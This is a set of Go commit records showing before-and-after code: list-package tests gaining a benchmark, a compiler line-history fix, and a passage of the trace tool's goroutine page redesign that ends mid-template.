<commit_before>package list

import (
	"fmt"
	"math/rand"
	"testing"
	"time"
)

const N = 2048

func assertOrder(l *List) bool {
	prev := ""
	for c := l.NewCursor(); c != nil; c = c.Next() {
		if c.Key() < prev {
			return false
		}
	}

	return true
}

func Test1(t *testing.T) {
	l := NewList("test.list")

	t.Log(l.root)

	l.Set("1", "bar")
	l.Set("2", "foobar")
	l.Set("3", "barbaz")
	l.Set("4", "b")
	l.Set("45", "foo")

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}

func Test2(t *testing.T) {
	l := NewList("test.list2")

	t.Log(l.root)

	l.Set("a", "AAAAA")
	l.Set("c", "CCCCC")
	l.Set("b", "BBBBB")

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}

func Test4(t *testing.T) {
	l := NewList("test.list4")

	l.Set("1", "AAAAA")
	l.Set("3", "CCCCC")
	l.Set("2", "BBBBB")
	l.Set("0", "00000")

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}

func TestSequential(t *testing.T) {
	l := NewList("test.sequential")

	start := time.Now()

	for i := 0; i < N; i++ {
		l.Set(fmt.Sprintf("%09d", i), fmt.Sprint(i))
	}
	t.Log("Time to insert", N, "integers:", time.Now().Sub(start))

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Close()

}

func TestRead(t *testing.T) {
	l := OpenList("test.sequential")
	if l == nil {
		t.Error("Couldn't open list")
	}

	if val, err := l.Get("000000005"); err != nil || val != "5" {
		if err != nil {
			t.Error(err)
		} else {
			t.Errorf("expected value %v, got %v", "5", val)
		}
	}

	if val, err := l.Get("5"); err == nil {
		t.Errorf("expected error `%v', got %v with value `%v'", ErrKeyNotFound,
			nil, val)
	}

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}

func TestRandomShort(t *testing.T) {
	l := NewList("test.random_short")

	for i := 0; i < N; i++ {
		n := rand.Intn(N)
		t.Logf("inserting `%d'\n", n)
		l.Set(fmt.Sprint(n), ".")
	}

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}

func TestRandomLong(t *testing.T) {
	l := NewList("test.random_long")

	start := time.Now()

	for i := 0; i < N*8; i++ {
		l.Set(fmt.Sprint(rand.Int()), fmt.Sprint(i))
	}
	t.Log("Time to insert", N*8, "integers:", time.Now().Sub(start))

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}
<commit_msg>Tweak tests, add a benchmark<commit_after>package list

import (
	"fmt"
	"math/rand"
	"testing"
	"time"
)

const N = 2048

func assertOrder(l *List) bool {
	prev := ""
	for c := l.NewCursor(); c != nil; c = c.Next() {
		if c.Key() < prev {
			return false
		}
	}

	return true
}

func Test1(t *testing.T) {
	l := NewList("test.list")

	l.Set("1", "bar")
	l.Set("2", "foobar")
	l.Set("3", "barbaz")
	l.Set("4", "b")
	l.Set("45", "foo")

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}

func Test2(t *testing.T) {
	l := NewList("test.list2")

	l.Set("a", "AAAAA")
	l.Set("c", "CCCCC")
	l.Set("b", "BBBBB")

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}

func Test4(t *testing.T) {
	l := NewList("test.list4")

	l.Set("1", "AAAAA")
	l.Set("3", "CCCCC")
	l.Set("2", "BBBBB")
	l.Set("0", "00000")

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}

func TestSequentialShort(t *testing.T) {
	l := NewList("test.sequential_short")

	start := time.Now()
	for i := 0; i < N; i++ {
		l.Set(fmt.Sprintf("%09d", i), fmt.Sprint(i))
	}
	t.Log("Time to insert", N, "sequential integers:", time.Now().Sub(start))

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Close()
}

func TestSequentialLong(t *testing.T) {
	l := NewList("test.sequential_long")

	start := time.Now()
	for i := 0; i < N*8; i++ {
		l.Set(fmt.Sprintf("%09d", i), fmt.Sprint(i))
	}
	t.Log("Time to insert", N*8, "sequential integers:", time.Now().Sub(start))

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}

func TestRead(t *testing.T) {
	l := OpenList("test.sequential_short")
	if l == nil {
		t.Error("Couldn't open list")
	}

	if val, err := l.Get("000000005"); err != nil || val != "5" {
		if err != nil {
			t.Error(err)
		} else {
			t.Errorf("expected value %v, got %v", "5", val)
		}
	}

	if val, err := l.Get("000000013"); err != nil || val != "13" {
		if err != nil {
			t.Error(err)
		} else {
			t.Errorf("expected value %v, got %v", "13", val)
		}
	}

	if val, err := l.Get("5"); err == nil {
		t.Errorf("expected error `%v', got %v with value `%v'", ErrKeyNotFound,
			nil, val)
	}

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}

func TestRandomShort(t *testing.T) {
	l := NewList("test.random_short")

	start := time.Now()
	for i := 0; i < N; i++ {
		l.Set(fmt.Sprint(rand.Int()), fmt.Sprint(i))
	}
	t.Log("Time to insert", N, "random integers:", time.Now().Sub(start))

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}

func TestRandomLong(t *testing.T) {
	l := NewList("test.random_long")

	start := time.Now()
	for i := 0; i < N*4; i++ {
		l.Set(fmt.Sprint(rand.Int()), fmt.Sprint(i))
	}
	t.Log("Time to insert", N*4, "random integers:", time.Now().Sub(start))

	if !assertOrder(l) {
		t.Error("keys were not in order")
	}

	l.Destroy()
}

func BenchmarkSequentialWrites(b *testing.B) {
	l := NewList("benchmark.sequential")

	for i := 0; i < b.N; i++ {
		l.Set(fmt.Sprintf("%020d", i), fmt.Sprint(i))
	}

	l.Destroy()
}
<|endoftext|>


<commit_before>// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package obj

import (
	"fmt"
	"path/filepath"
	"sort"
	"strings"
)

// A LineHist records the history of the file input stack, which maps the virtual line number,
// an incrementing count of lines processed in any input file and typically named lineno,
// to a stack of file:line pairs showing the path of inclusions that led to that position.
// The first line directive (//line in Go, #line in assembly) is treated as pushing
// a new entry on the stack, so that errors can report both the actual and translated
// line number.
//
// In typical use, the virtual lineno begins at 1, and file line numbers also begin at 1,
// but the only requirements placed upon the numbers by this code are:
//	- calls to Push, Update, and Pop must be monotonically increasing in lineno
//	- except as specified by those methods, virtual and file line number increase
//	  together, so that given (only) calls Push(10, "x.go", 1) and Pop(15),
//	  virtual line 12 corresponds to x.go line 3.
type LineHist struct {
	Top               *LineStack  // current top of stack
	Ranges            []LineRange // ranges for lookup
	Dir               string      // directory to qualify relative paths
	TrimPathPrefix    string      // remove leading TrimPath from recorded file names
	PrintFilenameOnly bool        // ignore path when pretty-printing a line; internal use only
	GOROOT            string      // current GOROOT
	GOROOT_FINAL      string      // target GOROOT
}

// A LineStack is an entry in the recorded line history.
// Although the history at any given line number is a stack,
// the record for all line processed forms a tree, with common
// stack prefixes acting as parents.
type LineStack struct {
	Parent    *LineStack // parent in inclusion stack
	Lineno    int        // virtual line number where this entry takes effect
	File      string     // file name used to open source file, for error messages
	AbsFile   string     // absolute file name, for pcln tables
	FileLine  int        // line number in file at Lineno
	Directive bool
	Sym       *LSym // for linkgetline - TODO(rsc): remove
}

func (stk *LineStack) fileLineAt(lineno int) int {
	return stk.FileLine + lineno - stk.Lineno
}

// The span of valid linenos in the recorded line history can be broken
// into a set of ranges, each with a particular stack.
// A LineRange records one such range.
type LineRange struct {
	Start int        // starting lineno
	Stack *LineStack // top of stack for this range
}

// startRange starts a new range with the given top of stack.
func (h *LineHist) startRange(lineno int, top *LineStack) {
	h.Top = top
	h.Ranges = append(h.Ranges, LineRange{top.Lineno, top})
}

// setFile sets stk.File = file and also derives stk.AbsFile.
func (h *LineHist) setFile(stk *LineStack, file string) {
	// Note: The exclusion of stk.Directive may be wrong but matches what we've done before.
	// The check for < avoids putting a path prefix on "<autogenerated>".
	abs := file
	if h.Dir != "" && !filepath.IsAbs(file) && !strings.HasPrefix(file, "<") && !stk.Directive {
		abs = filepath.Join(h.Dir, file)
	}

	// Remove leading TrimPathPrefix, or else rewrite $GOROOT to $GOROOT_FINAL.
	if h.TrimPathPrefix != "" && hasPathPrefix(abs, h.TrimPathPrefix) {
		if abs == h.TrimPathPrefix {
			abs = ""
		} else {
			abs = abs[len(h.TrimPathPrefix)+1:]
		}
	} else if h.GOROOT_FINAL != "" && h.GOROOT_FINAL != h.GOROOT && hasPathPrefix(abs, h.GOROOT) {
		abs = h.GOROOT_FINAL + abs[len(h.GOROOT):]
	}
	if abs == "" {
		abs = "??"
	}
	abs = filepath.Clean(abs)
	stk.AbsFile = abs

	if file == "" {
		file = "??"
	}
	stk.File = file
}

// Does s have t as a path prefix?
// That is, does s == t or does s begin with t followed by a slash?
// For portability, we allow ASCII case folding, so that hasPathPrefix("a/b/c", "A/B") is true.
// Similarly, we allow slash folding, so that hasPathPrefix("a/b/c", "a\\b") is true.
// We do not allow full Unicode case folding, for fear of causing more confusion
// or harm than good. (For an example of the kinds of things that can go wrong,
// see http://article.gmane.org/gmane.linux.kernel/1853266.)
func hasPathPrefix(s string, t string) bool {
	if len(t) > len(s) {
		return false
	}
	var i int
	for i = 0; i < len(t); i++ {
		cs := int(s[i])
		ct := int(t[i])
		if 'A' <= cs && cs <= 'Z' {
			cs += 'a' - 'A'
		}
		if 'A' <= ct && ct <= 'Z' {
			ct += 'a' - 'A'
		}
		if cs == '\\' {
			cs = '/'
		}
		if ct == '\\' {
			ct = '/'
		}
		if cs != ct {
			return false
		}
	}
	return i >= len(s) || s[i] == '/' || s[i] == '\\'
}

// Push records that at that lineno a new file with the given name was pushed onto the input stack.
func (h *LineHist) Push(lineno int, file string) {
	stk := &LineStack{
		Parent:   h.Top,
		Lineno:   lineno,
		FileLine: 1,
	}
	h.setFile(stk, file)
	h.startRange(lineno, stk)
}

// Pop records that at lineno the current file was popped from the input stack.
func (h *LineHist) Pop(lineno int) {
	top := h.Top
	if top == nil {
		return
	}
	if top.Directive && top.Parent != nil { // pop #line level too
		top = top.Parent
	}
	next := top.Parent
	if next == nil {
		h.Top = nil
		h.Ranges = append(h.Ranges, LineRange{lineno, nil})
		return
	}

	// Popping included file. Update parent offset to account for
	// the virtual line number range taken by the included file.
	// Cannot modify the LineStack directly, or else lookups
	// for the earlier line numbers will get the wrong answers,
	// so make a new one.
	stk := new(LineStack)
	*stk = *next
	stk.Lineno = lineno
	stk.FileLine = next.fileLineAt(top.Lineno)
	h.startRange(lineno, stk)
}

// Update records that at lineno the file name and line number were changed using
// a line directive (//line in Go, #line in assembly).
func (h *LineHist) Update(lineno int, file string, line int) {
	top := h.Top
	if top == nil {
		return // shouldn't happen
	}
	var stk *LineStack
	if top.Directive {
		// Update existing entry, except make copy to avoid changing earlier history.
		stk = new(LineStack)
		*stk = *top
	} else {
		// Push new entry.
		stk = &LineStack{
			Parent:    top,
			Directive: true,
		}
	}
	stk.Lineno = lineno
	if stk.File != file {
		h.setFile(stk, file) // only retain string if needed
	}
	stk.FileLine = line
	h.startRange(lineno, stk)
}

// AddImport adds a package to the list of imported packages.
func (ctxt *Link) AddImport(pkg string) {
	ctxt.Imports = append(ctxt.Imports, pkg)
}

// At returns the input stack in effect at lineno.
func (h *LineHist) At(lineno int) *LineStack {
	i := sort.Search(len(h.Ranges), func(i int) bool {
		return h.Ranges[i].Start > lineno
	})
	// Found first entry beyond lineno.
	if i == 0 {
		return nil
	}
	return h.Ranges[i-1].Stack
}

// LineString returns a string giving the file and line number
// corresponding to lineno, for use in error messages.
func (h *LineHist) LineString(lineno int) string {
	stk := h.At(lineno)
	if stk == nil {
		return "<unknown line number>"
	}

	filename := stk.File
	if h.PrintFilenameOnly {
		filename = filepath.Base(filename)
	}
	text := fmt.Sprintf("%s:%d", filename, stk.fileLineAt(lineno))
	if stk.Directive && stk.Parent != nil {
		stk = stk.Parent
		text += fmt.Sprintf("[%s:%d]", filename, stk.fileLineAt(lineno))
	}
	const showFullStack = false // was used by old C compilers
	if showFullStack {
		for stk.Parent != nil {
			lineno = stk.Lineno - 1
			stk = stk.Parent
			text += fmt.Sprintf(" %s:%d", filename, stk.fileLineAt(lineno))
			if stk.Directive && stk.Parent != nil {
				stk = stk.Parent
				text += fmt.Sprintf("[%s:%d]", filename, stk.fileLineAt(lineno))
			}
		}
	}
	return text
}

// FileLine returns the file name and line number
// at the top of the stack for the given lineno.
func (h *LineHist) FileLine(lineno int) (file string, line int) {
	stk := h.At(lineno)
	if stk == nil {
		return "??", 0
	}
	return stk.File, stk.fileLineAt(lineno)
}

// AbsFileLine returns the absolute file name and line number
// at the top of the stack for the given lineno.
func (h *LineHist) AbsFileLine(lineno int) (file string, line int) {
	stk := h.At(lineno)
	if stk == nil {
		return "??", 0
	}
	return stk.AbsFile, stk.fileLineAt(lineno)
}

// This is a simplified copy of linklinefmt above.
// It doesn't allow printing the full stack, and it returns the file name and line number separately.
// TODO: Unify with linklinefmt somehow.
func linkgetline(ctxt *Link, lineno int32, f **LSym, l *int32) {
	stk := ctxt.LineHist.At(int(lineno))
	if stk == nil || stk.AbsFile == "" {
		*f = Linklookup(ctxt, "??", HistVersion)
		*l = 0
		return
	}
	if stk.Sym == nil {
		stk.Sym = Linklookup(ctxt, stk.AbsFile, HistVersion)
	}
	*f = stk.Sym
	*l = int32(stk.fileLineAt(int(lineno)))
}

func Linkprfile(ctxt *Link, line int) {
	fmt.Printf("%s ", ctxt.LineHist.LineString(line))
}
<commit_msg>[dev.ssa] cmd/compile: fix dev.ssa build<commit_after>// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package obj

import (
	"fmt"
	"path/filepath"
	"sort"
	"strings"
)

// A LineHist records the history of the file input stack, which maps the virtual line number,
// an incrementing count of lines processed in any input file and typically named lineno,
// to a stack of file:line pairs showing the path of inclusions that led to that position.
// The first line directive (//line in Go, #line in assembly) is treated as pushing
// a new entry on the stack, so that errors can report both the actual and translated
// line number.
//
// In typical use, the virtual lineno begins at 1, and file line numbers also begin at 1,
// but the only requirements placed upon the numbers by this code are:
//	- calls to Push, Update, and Pop must be monotonically increasing in lineno
//	- except as specified by those methods, virtual and file line number increase
//	  together, so that given (only) calls Push(10, "x.go", 1) and Pop(15),
//	  virtual line 12 corresponds to x.go line 3.
type LineHist struct {
	Top               *LineStack  // current top of stack
	Ranges            []LineRange // ranges for lookup
	Dir               string      // directory to qualify relative paths
	TrimPathPrefix    string      // remove leading TrimPath from recorded file names
	PrintFilenameOnly bool        // ignore path when pretty-printing a line; internal use only
	GOROOT            string      // current GOROOT
	GOROOT_FINAL      string      // target GOROOT
}

// A LineStack is an entry in the recorded line history.
// Although the history at any given line number is a stack,
// the record for all line processed forms a tree, with common
// stack prefixes acting as parents.
type LineStack struct {
	Parent    *LineStack // parent in inclusion stack
	Lineno    int        // virtual line number where this entry takes effect
	File      string     // file name used to open source file, for error messages
	AbsFile   string     // absolute file name, for pcln tables
	FileLine  int        // line number in file at Lineno
	Directive bool
	Sym       *LSym // for linkgetline - TODO(rsc): remove
}

func (stk *LineStack) fileLineAt(lineno int) int {
	return stk.FileLine + lineno - stk.Lineno
}

// The span of valid linenos in the recorded line history can be broken
// into a set of ranges, each with a particular stack.
// A LineRange records one such range.
type LineRange struct {
	Start int        // starting lineno
	Stack *LineStack // top of stack for this range
}

// startRange starts a new range with the given top of stack.
func (h *LineHist) startRange(lineno int, top *LineStack) {
	h.Top = top
	h.Ranges = append(h.Ranges, LineRange{top.Lineno, top})
}

// setFile sets stk.File = file and also derives stk.AbsFile.
func (h *LineHist) setFile(stk *LineStack, file string) {
	// Note: The exclusion of stk.Directive may be wrong but matches what we've done before.
	// The check for < avoids putting a path prefix on "<autogenerated>".
	abs := file
	if h.Dir != "" && !filepath.IsAbs(file) && !strings.HasPrefix(file, "<") && !stk.Directive {
		abs = filepath.Join(h.Dir, file)
	}

	// Remove leading TrimPathPrefix, or else rewrite $GOROOT to $GOROOT_FINAL.
	if h.TrimPathPrefix != "" && hasPathPrefix(abs, h.TrimPathPrefix) {
		if abs == h.TrimPathPrefix {
			abs = ""
		} else {
			abs = abs[len(h.TrimPathPrefix)+1:]
		}
	} else if h.GOROOT_FINAL != "" && h.GOROOT_FINAL != h.GOROOT && hasPathPrefix(abs, h.GOROOT) {
		abs = h.GOROOT_FINAL + abs[len(h.GOROOT):]
	}
	if abs == "" {
		abs = "??"
	}
	abs = filepath.Clean(abs)
	stk.AbsFile = abs

	if file == "" {
		file = "??"
	}
	stk.File = file
}

// Does s have t as a path prefix?
// That is, does s == t or does s begin with t followed by a slash?
// For portability, we allow ASCII case folding, so that hasPathPrefix("a/b/c", "A/B") is true.
// Similarly, we allow slash folding, so that hasPathPrefix("a/b/c", "a\\b") is true.
// We do not allow full Unicode case folding, for fear of causing more confusion
// or harm than good. (For an example of the kinds of things that can go wrong,
// see http://article.gmane.org/gmane.linux.kernel/1853266.)
func hasPathPrefix(s string, t string) bool {
	if len(t) > len(s) {
		return false
	}
	var i int
	for i = 0; i < len(t); i++ {
		cs := int(s[i])
		ct := int(t[i])
		if 'A' <= cs && cs <= 'Z' {
			cs += 'a' - 'A'
		}
		if 'A' <= ct && ct <= 'Z' {
			ct += 'a' - 'A'
		}
		if cs == '\\' {
			cs = '/'
		}
		if ct == '\\' {
			ct = '/'
		}
		if cs != ct {
			return false
		}
	}
	return i >= len(s) || s[i] == '/' || s[i] == '\\'
}

// Push records that at that lineno a new file with the given name was pushed onto the input stack.
func (h *LineHist) Push(lineno int, file string) {
	stk := &LineStack{
		Parent:   h.Top,
		Lineno:   lineno,
		FileLine: 1,
	}
	h.setFile(stk, file)
	h.startRange(lineno, stk)
}

// Pop records that at lineno the current file was popped from the input stack.
func (h *LineHist) Pop(lineno int) {
	top := h.Top
	if top == nil {
		return
	}
	if top.Directive && top.Parent != nil { // pop #line level too
		top = top.Parent
	}
	next := top.Parent
	if next == nil {
		h.Top = nil
		h.Ranges = append(h.Ranges, LineRange{lineno, nil})
		return
	}

	// Popping included file. Update parent offset to account for
	// the virtual line number range taken by the included file.
	// Cannot modify the LineStack directly, or else lookups
	// for the earlier line numbers will get the wrong answers,
	// so make a new one.
	stk := new(LineStack)
	*stk = *next
	stk.Lineno = lineno
	stk.FileLine = next.fileLineAt(top.Lineno)
	h.startRange(lineno, stk)
}

// Update records that at lineno the file name and line number were changed using
// a line directive (//line in Go, #line in assembly).
func (h *LineHist) Update(lineno int, file string, line int) {
	top := h.Top
	if top == nil {
		return // shouldn't happen
	}
	var stk *LineStack
	if top.Directive {
		// Update existing entry, except make copy to avoid changing earlier history.
		stk = new(LineStack)
		*stk = *top
	} else {
		// Push new entry.
		stk = &LineStack{
			Parent:    top,
			Directive: true,
		}
	}
	stk.Lineno = lineno
	if stk.File != file {
		h.setFile(stk, file) // only retain string if needed
	}
	stk.FileLine = line
	h.startRange(lineno, stk)
}

// AddImport adds a package to the list of imported packages.
func (ctxt *Link) AddImport(pkg string) {
	ctxt.Imports = append(ctxt.Imports, pkg)
}

// At returns the input stack in effect at lineno.
func (h *LineHist) At(lineno int) *LineStack {
	i := sort.Search(len(h.Ranges), func(i int) bool {
		return h.Ranges[i].Start > lineno
	})
	// Found first entry beyond lineno.
	if i == 0 {
		return nil
	}
	return h.Ranges[i-1].Stack
}

// LineString returns a string giving the file and line number
// corresponding to lineno, for use in error messages.
func (h *LineHist) LineString(lineno int) string {
	stk := h.At(lineno)
	if stk == nil {
		return "<unknown line number>"
	}

	filename := stk.File
	if h.PrintFilenameOnly {
		filename = filepath.Base(filename)
	}
	text := fmt.Sprintf("%s:%d", filename, stk.fileLineAt(lineno))
	if stk.Directive && stk.Parent != nil {
		stk = stk.Parent
		filename = stk.File
		if h.PrintFilenameOnly {
			filename = filepath.Base(filename)
		}
		text += fmt.Sprintf("[%s:%d]", filename, stk.fileLineAt(lineno))
	}
	const showFullStack = false // was used by old C compilers
	if showFullStack {
		for stk.Parent != nil {
			lineno = stk.Lineno - 1
			stk = stk.Parent
			text += fmt.Sprintf(" %s:%d", filename, stk.fileLineAt(lineno))
			if stk.Directive && stk.Parent != nil {
				stk = stk.Parent
				text += fmt.Sprintf("[%s:%d]", filename, stk.fileLineAt(lineno))
			}
		}
	}
	return text
}

// FileLine returns the file name and line number
// at the top of the stack for the given lineno.
func (h *LineHist) FileLine(lineno int) (file string, line int) {
	stk := h.At(lineno)
	if stk == nil {
		return "??", 0
	}
	return stk.File, stk.fileLineAt(lineno)
}

// AbsFileLine returns the absolute file name and line number
// at the top of the stack for the given lineno.
func (h *LineHist) AbsFileLine(lineno int) (file string, line int) {
	stk := h.At(lineno)
	if stk == nil {
		return "??", 0
	}
	return stk.AbsFile, stk.fileLineAt(lineno)
}

// This is a simplified copy of linklinefmt above.
// It doesn't allow printing the full stack, and it returns the file name and line number separately.
// TODO: Unify with linklinefmt somehow.
func linkgetline(ctxt *Link, lineno int32, f **LSym, l *int32) {
	stk := ctxt.LineHist.At(int(lineno))
	if stk == nil || stk.AbsFile == "" {
		*f = Linklookup(ctxt, "??", HistVersion)
		*l = 0
		return
	}
	if stk.Sym == nil {
		stk.Sym = Linklookup(ctxt, stk.AbsFile, HistVersion)
	}
	*f = stk.Sym
	*l = int32(stk.fileLineAt(int(lineno)))
}

func Linkprfile(ctxt *Link, line int) {
	fmt.Printf("%s ", ctxt.LineHist.LineString(line))
}
<|endoftext|>


<commit_before>// Copyright 2014 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Goroutine-related profiles.

package main

import (
	"fmt"
	"html/template"
	"internal/trace"
	"net/http"
	"sort"
	"strconv"
	"sync"
)

func init() {
	http.HandleFunc("/goroutines", httpGoroutines)
	http.HandleFunc("/goroutine", httpGoroutine)
}

// gtype describes a group of goroutines grouped by start PC.
type gtype struct {
	ID       uint64 // Unique identifier (PC).
	Name     string // Start function.
	N        int    // Total number of goroutines in this group.
	ExecTime int64  // Total execution time of all goroutines in this group.
}

type gtypeList []gtype

func (l gtypeList) Len() int {
	return len(l)
}

func (l gtypeList) Less(i, j int) bool {
	return l[i].ExecTime > l[j].ExecTime
}

func (l gtypeList) Swap(i, j int) {
	l[i], l[j] = l[j], l[i]
}

type gdescList []*trace.GDesc

func (l gdescList) Len() int {
	return len(l)
}

func (l gdescList) Less(i, j int) bool {
	return l[i].TotalTime > l[j].TotalTime
}

func (l gdescList) Swap(i, j int) {
	l[i], l[j] = l[j], l[i]
}

var (
	gsInit sync.Once
	gs     map[uint64]*trace.GDesc
)

// analyzeGoroutines generates statistics about execution of all goroutines and stores them in gs.
func analyzeGoroutines(events []*trace.Event) {
	gsInit.Do(func() {
		gs = trace.GoroutineStats(events)
	})
}

// httpGoroutines serves list of goroutine groups.
func httpGoroutines(w http.ResponseWriter, r *http.Request) {
	events, err := parseEvents()
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
	analyzeGoroutines(events)
	gss := make(map[uint64]gtype)
	for _, g := range gs {
		gs1 := gss[g.PC]
		gs1.ID = g.PC
		gs1.Name = g.Name
		gs1.N++
		gs1.ExecTime += g.ExecTime
		gss[g.PC] = gs1
	}
	var glist gtypeList
	for k, v := range gss {
		v.ID = k
		glist = append(glist, v)
	}
	sort.Sort(glist)
	templGoroutines.Execute(w, glist)
}

var templGoroutines = template.Must(template.New("").Parse(`

Goroutines:

{{range $}}
  {{.Name}} N={{.N}}

{{end}}

`))

// httpGoroutine serves list of goroutines in a particular group.
func httpGoroutine(w http.ResponseWriter, r *http.Request) {
	events, err := parseEvents()
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
	pc, err := strconv.ParseUint(r.FormValue("id"), 10, 64)
	if err != nil {
		http.Error(w, fmt.Sprintf("failed to parse id parameter '%v': %v", r.FormValue("id"), err), http.StatusInternalServerError)
		return
	}
	analyzeGoroutines(events)
	var glist gdescList
	for _, g := range gs {
		if g.PC != pc {
			continue
		}
		glist = append(glist, g)
	}
	sort.Sort(glist)
	err = templGoroutine.Execute(w, struct {
		PC    uint64
		GList gdescList
	}{pc, glist})
	if err != nil {
		http.Error(w, fmt.Sprintf("failed to execute template: %v", err), http.StatusInternalServerError)
		return
	}
}

var templGoroutine = template.Must(template.New("").Parse(`

 Goroutine
 Total time, ns
 Execution time, ns
 Network wait time, ns⬇
 Sync block time, ns⬇
 Blocking syscall time, ns⬇
 Scheduler wait time, ns⬇
 GC sweeping time, ns
 GC pause time, ns

{{range .GList}}

     {{.ID}}
     {{.TotalTime}}
     {{.ExecTime}}
     {{.IOTime}}
     {{.BlockTime}}
     {{.SyscallTime}}
     {{.SchedWaitTime}}
     {{.SweepTime}}
     {{.GCTime}}

{{end}}

`))
<commit_msg>cmd/trace: beautify goroutine page<commit_after>// Copyright 2014 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Goroutine-related profiles.

package main

import (
	"fmt"
	"html/template"
	"internal/trace"
	"log"
	"net/http"
	"reflect"
	"sort"
	"strconv"
	"sync"
	"time"
)

func init() {
	http.HandleFunc("/goroutines", httpGoroutines)
	http.HandleFunc("/goroutine", httpGoroutine)
}

// gtype describes a group of goroutines grouped by start PC.
type gtype struct {
	ID       uint64 // Unique identifier (PC).
	Name     string // Start function.
	N        int    // Total number of goroutines in this group.
	ExecTime int64  // Total execution time of all goroutines in this group.
}

var (
	gsInit sync.Once
	gs     map[uint64]*trace.GDesc
)

// analyzeGoroutines generates statistics about execution of all goroutines and stores them in gs.
func analyzeGoroutines(events []*trace.Event) {
	gsInit.Do(func() {
		gs = trace.GoroutineStats(events)
	})
}

// httpGoroutines serves list of goroutine groups.
func httpGoroutines(w http.ResponseWriter, r *http.Request) {
	events, err := parseEvents()
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
	analyzeGoroutines(events)
	gss := make(map[uint64]gtype)
	for _, g := range gs {
		gs1 := gss[g.PC]
		gs1.ID = g.PC
		gs1.Name = g.Name
		gs1.N++
		gs1.ExecTime += g.ExecTime
		gss[g.PC] = gs1
	}
	var glist []gtype
	for k, v := range gss {
		v.ID = k
		glist = append(glist, v)
	}
	sort.Slice(glist, func(i, j int) bool { return glist[i].ExecTime > glist[j].ExecTime })
	w.Header().Set("Content-Type", "text/html;charset=utf-8")
	if err := templGoroutines.Execute(w, glist); err != nil {
		log.Printf("failed to execute template: %v", err)
		return
	}
}

var templGoroutines = template.Must(template.New("").Parse(`

Goroutines:

{{range $}}
  {{.Name}} N={{.N}}

{{end}}

`))

// httpGoroutine serves list of goroutines in a particular group.
func httpGoroutine(w http.ResponseWriter, r *http.Request) {
	// TODO(hyangah): support format=csv (raw data)

	events, err := parseEvents()
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}

	pc, err := strconv.ParseUint(r.FormValue("id"), 10, 64)
	if err != nil {
		http.Error(w, fmt.Sprintf("failed to parse id parameter '%v': %v", r.FormValue("id"), err), http.StatusInternalServerError)
		return
	}
	analyzeGoroutines(events)
	var (
		glist                   []*trace.GDesc
		name                    string
		totalExecTime, execTime int64
		maxTotalTime            int64
	)

	for _, g := range gs {
		totalExecTime += g.ExecTime

		if g.PC != pc {
			continue
		}
		glist = append(glist, g)
		name = g.Name
		execTime += g.ExecTime
		if maxTotalTime < g.TotalTime {
			maxTotalTime = g.TotalTime
		}
	}

	execTimePercent := ""
	if totalExecTime > 0 {
		execTimePercent = fmt.Sprintf("%.2f%%", float64(execTime)/float64(totalExecTime)*100)
	}

	sortby := r.FormValue("sortby")
	_, ok := reflect.TypeOf(trace.GDesc{}).FieldByNameFunc(func(s string) bool {
		return s == sortby
	})
	if !ok {
		sortby = "TotalTime"
	}

	sort.Slice(glist, func(i, j int) bool {
		ival := reflect.ValueOf(glist[i]).Elem().FieldByName(sortby).Int()
		jval := reflect.ValueOf(glist[j]).Elem().FieldByName(sortby).Int()
		return ival > jval
	})

	err = templGoroutine.Execute(w, struct {
		Name            string
		PC              uint64
		N               int
		ExecTimePercent string
		MaxTotal        int64
		GList           []*trace.GDesc
	}{
		Name:            name,
		PC:              pc,
		N:               len(glist),
		ExecTimePercent: execTimePercent,
		MaxTotal:        maxTotalTime,
		GList:           glist})
	if err != nil {
		http.Error(w, fmt.Sprintf("failed to execute template: %v", err), http.StatusInternalServerError)
		return
	}
}

var templGoroutine = template.Must(template.New("").Funcs(template.FuncMap{
	"prettyDuration": func(nsec int64) template.HTML {
		d := time.Duration(nsec) * time.Nanosecond
		return template.HTML(niceDuration(d))
	},
	"percent": func(dividened, divisor int64) template.HTML {
		if divisor == 0 {
			return ""
		}
		return template.HTML(fmt.Sprintf("(%.1f%%)", float64(dividened)/float64(divisor)*100))
	},
	"barLen": func(dividened, divisor int64) template.HTML {
		if divisor == 0 {
			return "0"
		}
		return template.HTML(fmt.Sprintf("%.2f%%", float64(dividened)/float64(divisor)*100))
	},
	"unknownTime": func(desc *trace.GDesc) int64 {
		sum := desc.ExecTime + desc.IOTime + desc.BlockTime + desc.SyscallTime + desc.SchedWaitTime
		if sum < desc.TotalTime {
			return desc.TotalTime - sum
		}
		return 0
	},
}).Parse(`
<!DOCTYPE html>
<title>Goroutine {{.Name}}</title>

Goroutine Name:	{{.Name}}

Number of Goroutines:	{{.N}}

Execution Time:	{{.ExecTimePercent}} of total program execution time

Network Wait Time:	 graph(download)

Sync Block Time:	 graph(download)

Blocking Syscall Time:	 graph(download)

Scheduler Wait Time:	 graph(download)

 Goroutine
 Total

 Execution
 Network wait
 Sync block
 Blocking syscall
 Scheduler wait
